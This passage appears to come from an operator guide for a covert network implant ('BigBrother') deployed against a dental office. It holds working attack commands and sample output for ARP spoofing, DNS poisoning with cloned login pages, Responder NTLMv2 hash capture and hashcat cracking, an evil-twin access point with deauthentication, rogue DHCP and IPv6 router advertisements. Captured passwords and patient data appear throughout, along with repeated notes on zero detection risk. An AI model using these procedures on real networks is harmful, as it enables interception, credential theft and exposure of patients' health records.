All cloud traffic (Office 365, QuickBooks, Dentrix cloud, Dropbox) uses HTTPS. Cloud tokens exist inside those TLS tunnels but are invisible without active MITM. The only HTTP traffic is to the router, NAS, printers, and cameras — none of which use cloud tokens.

**When this module produces**: On networks where developers use HTTP APIs with hardcoded AWS keys, or where internal tools pass JWT tokens over unencrypted HTTP. Not applicable to this dental office.

---

### 18. email_sniffer

**Primary result**: "Office 365 enforces STARTTLS. Zero cleartext email content captured from user email."

**However**: The HP LaserJet MFP (10.0.1.20) has a scan-to-email feature configured. When staff scan documents, the printer sends them via SMTP to an internal relay. The printer's SMTP client does NOT support STARTTLS:

```
CAPTURED: SMTP session from 10.0.1.20 → 10.0.1.1:25 (router forwarding to ISP relay)
  MAIL FROM: scanner@brightsmilesdental.com
  RCPT TO: frontdesk@brightsmilesdental.com
  Subject: Scan from HP LaserJet [03/18/2026 14:22]
  Attachment: scan_20260318_142200.pdf (348KB) — insurance card photocopy

CAPTURED: 2 more scan-to-email jobs over 72h
  - Patient consent form scan (2 pages)
  - Referral letter scan (1 page)
```

These scanned documents contain PHI and are sent across the network completely unencrypted. Three captures in 72 hours — expect 1-2 per day.

---

### 19. ldap_harvester

**Output**: "Zero LDAP traffic detected on ports 389 or 3268. No Active Directory domain, no LDAP directory service."

**When this module produces**: On AD networks, it passively captures LDAP search queries and responses — user lists, group memberships, computer objects, GPO settings. A single LDAP search response can dump the entire AD user table. Not applicable here.

---

### 20. rdp_monitor

**Output**: "Zero RDP connections detected on TCP/3389 over 72 hours."

No one on this network uses Remote Desktop. All workstations are physically used in-office. If the office had a remote employee or an MSP connecting for support, you would see RDP NLA negotiation with the username, domain, and client hostname in cleartext during the CredSSP exchange.

---

### 21. quic_analyzer

**What it does**: QUIC is Google's transport protocol — HTTP/3 runs over it. It uses UDP/443 instead of TCP/443. The QUIC Initial packet contains a TLS ClientHello (with SNI) that can be decrypted using connection-ID-derived keys per RFC 9001. This is standard decryption — the keys are derived from the publicly visible connection ID, not secret.

**Output**:

```
Extracted SNI from 847 QUIC connections over 72h.

TOP DESTINATIONS (by connection count):
  google.com            312 connections    Chrome/Edge to Google services
  youtube.com           189 connections    YouTube (high QUIC adoption)
  googlevideo.com       118 connections    YouTube video delivery CDN
  facebook.com           97 connections    Facebook/Instagram
  googleapis.com         72 connections    Google APIs (Drive, Calendar)
  gstatic.com            59 connections    Google static assets
```

QUIC accounts for roughly 7-8% of total traffic by bytes on this network — mostly Google and YouTube. Without this module, those 847 connections would be invisible to the TLS SNI extractor (which only handles TCP TLS).

---

### 22. db_interceptor

**This is the high-value module for this scenario.**

**How TDS (SQL Server) works on the wire**: The Tabular Data Stream protocol is Microsoft's wire protocol for SQL Server. By default, TDS connections on port 1433 are NOT encrypted. The TDS login packet (type 0x10) contains the username and password in a reversible XOR encoding (not real encryption — it's a fixed XOR mask documented in the TDS spec). Queries travel as plaintext TDS SQL Batch packets (type 0x01).

**What BigBrother captures**:

```
CONNECTION: 10.0.1.102 (DENTRIX-WS) → 10.0.1.5:1433 (SQLSERVER-01)
  TDS Login7 packet:
    Username: sa
    Password: D3ntrix2024!      (decoded from TDS XOR encoding)
    Database: DentrixDB
    App Name: Dentrix G7
    Hostname: DENTRIX-WS
    Server:   SQLSERVER-01

  SQL Queries observed (sample from 24h):
    SELECT * FROM patients WHERE last_name = 'DOE'
    SELECT patient_id, first_name, last_name, dob, ssn, insurance_id FROM patients WHERE appt_date = '2026-03-18'
    INSERT INTO procedures (patient_id, code, description, fee) VALUES (4521, 'D2750', 'Crown - porcelain', 1240.00)
    UPDATE patients SET balance = balance + 1240.00 WHERE patient_id = 4521
    SELECT * FROM insurance_claims WHERE status = 'pending'
    EXEC sp_backup_database @db='DentrixDB', @path='\\DiskStation\Backups\dentrix_20260318.bak'
```

**Why TDS is unencrypted**: SQL Server supports TLS ("Encrypt=yes" in the connection string), but Dentrix and most practice management software do not enable it. The vendor default is plaintext TDS. This gives you the `sa` password (full sysadmin access to the database) and every SQL query — meaning you can see every patient record, SSN, insurance number, and financial transaction that Dentrix touches.

**The `sa` password alone is game over**: With `sa` on SQL Server, you can `xp_cmdshell` for OS command execution, dump the entire database, create new admin accounts, or modify records. This single credential from passive collection gives you complete control of the practice management system.

---

## Active Modules: How They Actually Work

The following modules require explicit operator activation. On this network with zero security infrastructure (no DAI, no IDS, no EDR, no SIEM), detection risk for all active techniques is essentially zero.

---

### ARP Spoofing — Becoming the Man in the Middle

**Protocol-level explanation**: ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. When 10.0.1.101 wants to reach the gateway 10.0.1.1, it broadcasts "Who has 10.0.1.1?" The router responds "10.0.1.1 is at 44:D9:E7:3A:12:F0." The workstation caches this mapping and sends all internet-bound traffic to that MAC address.

**What BigBrother does**: Sends unsolicited (gratuitous) ARP replies to every target workstation saying "10.0.1.1 is at [BigBrother's MAC]". Simultaneously sends ARP replies to the real gateway saying "[target IP] is at [BigBrother's MAC]." Now both sides think BigBrother is the other end. All traffic flows through BigBrother, which forwards it to the real destination after inspection.

**On this network**:

```
sudo bigbrother activate arp_spoof --targets 10.0.1.101-109 --gateway 10.0.1.1

[*] Enabling IP forwarding (net.ipv4.ip_forward=1)
[*] Sending gratuitous ARP: 10.0.1.1 is-at [BB MAC] → 10.0.1.101-109 (every 30s ±5s jitter)
[*] Sending gratuitous ARP: 10.0.1.101-109 is-at [BB MAC] → 10.0.1.1
[+] ARP spoof active — all workstation traffic now routes through BigBrother
```

**What changes for passive modules**: Before ARP spoof, the bridge only sees traffic flowing through the front desk's physical port. After ARP spoof, ALL targeted workstations' traffic flows through BigBrother — the credential sniffer, DNS logger, and TLS SNI extractor now see traffic from every workstation, not just the one physically connected.

**Detection risk on this network**: Zero. Dynamic ARP Inspection (DAI) is disabled on the Netgear ProSAFE (requires DHCP snooping to be enabled first — it is not). No IDS, no EDR, no ARPwatch. The only way ARP spoofing would be noticed is if someone ran `arp -a` and recognized the wrong MAC address — nobody on this network will do that.

**Failure mode**: If BigBrother crashes while ARP spoofing, the target workstations have a stale ARP cache pointing to BigBrother's MAC. Traffic stops flowing for 30-120 seconds until ARP entries timeout and hosts re-resolve normally. The crash-recovery cron job sends corrective gratuitous ARPs to restore original mappings within 30 seconds.

---

### DNS Poisoning — Yes, You Can Actually Poison DNS

**Can I actually poison DNS on this network?** Yes. Here is exactly how it works.

**Prerequisite**: You need to be in the traffic path. Either ARP spoofing is active (so DNS queries from workstations pass through BigBrother) or DHCP spoofing has set BigBrother as the DNS server.

**Step by step**:

1. Workstation 10.0.1.102 opens Dentrix and the application resolves `portal.dentrix.com` via DNS.
2. The workstation sends a DNS query (UDP/53) to 10.0.1.1 (the gateway/DNS forwarder).
3. Because ARP spoof is active, this packet actually goes to BigBrother first.
4. BigBrother's dns_poison module inspects the query. It matches the configured target domain `portal.dentrix.com`.
5. BigBrother immediately sends a DNS response back to the workstation: "portal.dentrix.com is at 10.0.1.200" (BigBrother's IP or a controlled IP).
6. This forged response arrives at the workstation BEFORE the legitimate response from the real DNS server (because BigBrother is on the local network — zero hop latency vs. the real DNS server's round-trip time to 8.8.8.8).
7. The workstation accepts the first response it receives (standard DNS behavior). The late real response is silently discarded.
8. The workstation now connects to BigBrother's IP thinking it's Dentrix.

**What happens next depends on the operator's goal**:

**Credential capture (proxy mode)**: BigBrother runs mitmproxy or a simple reverse proxy. The workstation connects to BigBrother:443 expecting Dentrix. BigBrother presents a generated TLS certificate for `portal.dentrix.com`. If the application does not do certificate pinning (most don't), and the user clicks through or ignores the browser warning, the traffic flows through BigBrother in cleartext. BigBrother captures the Dentrix login credentials, then forwards the request to the real Dentrix server. The user logs in normally and never notices.

**Credential capture (clone mode)**: BigBrother serves a pixel-perfect clone of the Dentrix login page. User enters credentials. BigBrother logs them, then redirects to the real site. The user thinks they mistyped their password the first time.

**Configuration**:

```
sudo bigbrother activate dns_poison --domains portal.dentrix.com --redirect-to self --mode proxy

[*] DNS poison: portal.dentrix.com → 10.0.1.200 (BigBrother)
[*] Reverse proxy: 10.0.1.200:443 → portal.dentrix.com:443 (with cert interception)
[+] Waiting for DNS queries matching target domains...
```

**What about HTTPS certificate warnings?** The workstation will see a certificate mismatch — BigBrother's generated cert is not signed by a trusted CA. In a browser, this shows a red warning page. However:

- Many desktop applications (like Dentrix) either ignore certificate errors or show a dismissable dialog
- Users in dental offices routinely click through certificate warnings
- If you pre-install BigBrother's CA cert on the target workstation (requires prior access), no warnings appear
- For internal HTTP-only services (like the NAS on port 5000), no certificates are involved at all — DNS poisoning is seamless

**DNS poisoning on the NAS (zero certificate issue)**:

```
sudo bigbrother activate dns_poison --domains diskstation.local --redirect-to self --mode clone

[*] DNS poison: diskstation.local → 10.0.1.200
[*] Serving cloned Synology DSM login page on port 5000 (HTTP — no TLS)
[+] Captured: drjones / Br1ghtSm1les! (from 10.0.1.102)
[+] Captured: jsmith / Welcome2024! (from 10.0.1.101)
```

Because the NAS uses HTTP (not HTTPS) on port 5000, there are zero certificate warnings. The user sees a login page that looks identical to DSM. They type their password. Done.

**Detection risk**: Zero on this network. No DNS monitoring, no DNSSEC validation, no IDS inspecting DNS responses. The only theoretical detection would be if someone compared the DNS response IP to the known IP — nobody will.

---

### Responder — LLMNR/NBT-NS Hash Capture

**How it works on this network**: Windows uses a name resolution chain: DNS → mDNS → LLMNR → NetBIOS Name Service. When DNS fails to resolve a hostname, Windows falls back to LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service), which are broadcast/multicast protocols — every device on the network sees the request.

**Common triggers on this network**:

- User types `\\nas` instead of `\\DiskStation` in File Explorer
- A mapped drive points to a hostname that no longer exists (e.g., old NAS was named "Storage")
- Windows WPAD (Web Proxy Auto-Discovery) queries for "wpad.brightsmilesdental.com" — if DNS fails, it broadcasts LLMNR for "wpad"
- Chrome tries to resolve single-label search terms before searching Google

**What Responder does**: Listens for LLMNR/NBT-NS/mDNS broadcast queries. When a workstation broadcasts "Who has \\fileserver?", Responder answers "I'm fileserver!" The workstation tries to authenticate to Responder using its current Windows credentials (NTLMv2 challenge-response). Responder captures the hash.

**Expected yield on this network**:

```
CAPTURED WITHIN 48 HOURS:
HASH#  USER              SOURCE         TRIGGER                HASH (truncated)
1      jsmith            10.0.1.101     LLMNR: "printserver"   jsmith::FRONT-DESK:aabbccdd:4F2E...
2      mgarcia           10.0.1.104     NBT-NS: "wpad"         mgarcia::HYGIENE-1:11223344:8A1B...
3      drjones           10.0.1.109     LLMNR: "nas"           drjones::MACBOOK-DRJONES:55667788:C3D4...
4      kpatel            10.0.1.107     LLMNR: "storage"       kpatel::HYGIENE-2:99aabbcc:F7E8...
5      admin.local       10.0.1.103     NBT-NS: "wpad"         admin.local::MANAGER-PC:ddeeff00:1234...
6      frontdesk         10.0.1.101     LLMNR: "server01"      frontdesk::FRONT-DESK:aabb1122:5678...
7      accounting        10.0.1.108     LLMNR: "backup"        accounting::XRAY-WS:ccdd3344:9ABC...
```

**5-8 unique NTLMv2 hashes within 48 hours** on a 15-user network. These are local Windows account hashes (no AD domain, so they're WORKGROUP accounts). The NTLMv2 format is: `username::hostname:server_challenge:NTProofStr:blob`.

**Cracking**: Transfer to your GPU rig. `hashcat -m 5600 hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule`. On a dental office network, expect 60-80% crack rate. Common patterns: `Name2024!`, `Welcome1`, `Dental123`, `Summer2024`, etc. An RTX 4090 cracks NTLMv2 at ~10 billion guesses/second — rockyou + one rule set finishes in under 2 minutes.

**Detection risk**: Zero. No Microsoft Defender for Identity (requires AD), no Suricata/Snort, no CrowdStrike. Windows Defender does not detect LLMNR poisoning responses. No one is watching.

---

### Evil Twin — WiFi Credential Harvesting

**Realistic scenario for this network**:

**Setup**: BigBrother (or a second Pi with WiFi adapter) creates a rogue AP with SSID "DentalOffice" on a different channel than the real AP. The evil twin runs at higher power.

```
sudo bigbrother activate evil_twin --ssid "DentalOffice" --template guest_wifi --deauth

[*] Starting hostapd: SSID "DentalOffice", channel 6
[*] Starting dnsmasq: DHCP 192.168.4.0/24, DNS → captive portal
[*] Captive portal: "WiFi login required" page on 192.168.4.1
[*] Deauth: sending 5 deauth frames to AA:BB:CC:DD:EE:FF (real AP) every 30s
```

**What happens**: The deauth frames disconnect devices from the real AP (802.11w is NOT enabled on consumer Ubiquiti APs, so deauth attacks work). Devices automatically reconnect — some will connect to the evil twin because it's on a closer channel or stronger signal.

The user sees: "WiFi login required" — a captive portal page. They enter the WiFi password "MolarMagic2023!" (thinking the WiFi needs re-authentication). Some users enter their Windows or email credentials instead.

**What you get**:
- WiFi PSK (confirmed from handshake cracking or directly from portal)
- Potentially: Windows credentials or email credentials if users enter them
- Device MAC addresses and probe histories from connected clients

**Detection**: No WIDS on this network. The only sign is momentary WiFi disconnections — users will blame "bad WiFi" and reconnect.

---

### DHCP Spoofing — Becoming Gateway and DNS

**How it works**: When a device joins the network (boot, wake from sleep, WiFi reconnect), it sends a DHCP Discover broadcast. The legitimate DHCP server (EdgeRouter) responds with a DHCP Offer. BigBrother races to respond first with its own Offer, setting itself as the default gateway and DNS server.

```
sudo bigbrother activate dhcp_spoof --gateway self --dns self

[*] Rogue DHCP server active on bridge interface
[*] Offering: gateway=10.0.1.200 (BigBrother), DNS=10.0.1.200
[*] Waiting for DHCP Discover broadcasts...

[+] 10.0.1.104 (HYGIENE-1) rebooted — accepted our DHCP offer
    New gateway: 10.0.1.200  New DNS: 10.0.1.200
[+] 10.0.1.150 (iPhone) reconnected to WiFi — accepted our DHCP offer
```

**Advantage over ARP spoof**: DHCP spoofing doesn't modify ARP caches — it's cleaner and harder to detect. The downside is it only works on devices that do a DHCP renewal (reboot, wake, or lease expiry). Existing connections with unexpired leases are unaffected until renewal.

**On this network**: DHCP lease time on the EdgeRouter is probably 24 hours (default). Within 24 hours, every device will have renewed and accepted BigBrother's DHCP offer (assuming BigBrother responds faster than the router, which it will — it's on the same switch). No DHCP snooping is enabled on the Netgear switch, so rogue DHCP responses are not blocked.

---

### IPv6 SLAAC — The Invisible MITM

**How it works**: Most networks have IPv6 enabled but not configured. Windows, macOS, and Linux all have IPv6 enabled by default and prefer it over IPv4 when available. BigBrother sends IPv6 Router Advertisement (RA) messages, advertising itself as the IPv6 gateway and DNS server.

```
sudo bigbrother activate ipv6_slaac

[*] Sending Router Advertisements: prefix fd00:bb::/64, DNS=BigBrother's link-local
[+] 10.0.1.101 configured IPv6 address fd00:bb::b05c:daff:fe11:aa01
[+] 10.0.1.102 configured IPv6 address fd00:bb::b05c:daff:fe11:aa02
...
```

**What this gives you**: Windows prefers IPv6 over IPv4. DNS queries now go to BigBrother's IPv6 address. Combined with DNS poisoning, this captures credentials without any ARP spoofing. WPAD proxy detection over IPv6 triggers automatic NTLM authentication from every Windows workstation — free NTLMv2 hashes without even running Responder.

**Detection**: RA Guard is not deployed on consumer/SMB switches. Zero detection risk.

---

## What Produces Zero on This Network

| Module | Why Zero | Would Produce On |
|--------|----------|-------------------|
| kerberos_harvester | No AD domain, no KDC | Any Active Directory network |
| ldap_harvester | No LDAP directory | AD networks with LDAP (non-TLS) |
| voip_capture | No SIP/PBX, cell phones only | Office with desk phones and IP PBX |
| vlan_discovery | Flat network, no 802.1Q | Enterprise with VLANs |
| rdp_monitor | No remote desktop usage | Environments with RDP jump boxes |
| cloud_token_harvester (passive) | All cloud over HTTPS | Dev networks with HTTP microservices |
| auth_flow_tracker (Kerberos) | No AD | AD networks |

**Summary**: On a small business without AD, roughly 7 of 22 passive modules produce zero. The high-yield modules for this environment are: dns_logger, credential_sniffer, db_interceptor, print_interceptor, host_discovery, network_mapper, traffic_analyzer, smb_monitor, tls_sni_extractor, quic_analyzer, os_fingerprint, wireless_intel, and protocol_analyzer — 15 modules producing actionable intelligence.

---

## Engagement Timeline Summary

| Day | Action | Key Captures |
|-----|--------|--------------|
| 0 | Drop implant (10 min on-site), verify bridge | All passive modules start |
| 1 | Remote check-in, status review | 23 hosts, 31K DNS queries, router creds (HTTP Basic), NAS creds (HTTP POST), SQL `sa` password (TDS), SNMP community, 7 print jobs with PHI |
| 3 | Deep review, print job analysis | Complete network map, shadow IT (Dropbox), camera default creds, 23 print jobs, employee browsing profiles |
| 5 | Activate Responder + IPv6 SLAAC | 5-8 NTLMv2 hashes within 48h |
| 7 | Crack hashes, activate ARP spoof if needed | 60-80% passwords cracked, full MITM position |
| 8 | DNS poisoning on NAS (HTTP, no cert warnings) | Additional cleartext credentials from every user |
| 10 | Manual recon from jump box (smbmap, smbclient) | NAS shares: PatientRecords, Accounting, passwords.xlsx |
| 14 | Report generation, data pull, retrieval | 24 creds, 11/15 users compromised, full admin access |

**Total operator time**: 8-10 hours over 2 weeks. The implant does the collection; the operator makes decisions and analyzes results.
